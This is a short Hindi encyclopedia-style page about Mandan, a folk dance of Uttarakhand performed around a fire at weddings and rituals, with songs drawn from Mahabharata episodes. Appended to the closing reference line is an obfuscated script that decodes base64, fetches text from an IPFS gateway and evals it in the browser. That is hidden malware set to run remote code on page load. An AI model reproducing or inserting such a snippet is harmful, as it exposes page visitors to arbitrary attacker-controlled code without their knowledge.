मंडाण नृत्य
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मंडाण नृत्य उत्तराखंड के प्राचीन लोक नृत्यों में सबसे ज्यादा लोकप्रिय है। यह पंडौं नृत्य का ही एक रूप है।[1]
- शादी-ब्याह अथवा धार्मिक अनुष्ठानों के मौके पर गांव के खुले मैदान (खलिहान) या चौक के बीच में अग्नि प्रज्ज्वलित कर मंडाण नृत्य होता है। इस दौरान ढोल-दमौ, रणसिंगा, भंकोर आदि पारंपरिक वाद्यों की धुनों पर देवी-देवताओं का आह्वान किया जाता है।
- इसमें ज्यादातर गीत महाभारत कालीन प्रसंगों पर आधारित होते हैं।
- इसके अलावा लोक गाथाओं पर आधारित गीत भी गाए जाते हैं।
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टीका टिप्पणी और संदर्भ
- ↑ उत्तराखंड के लोक नृत्यों की है अलग पहचान (हिंदी) jagran.com। अभिगमन तिथि: 23 नवंबर, 2021।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>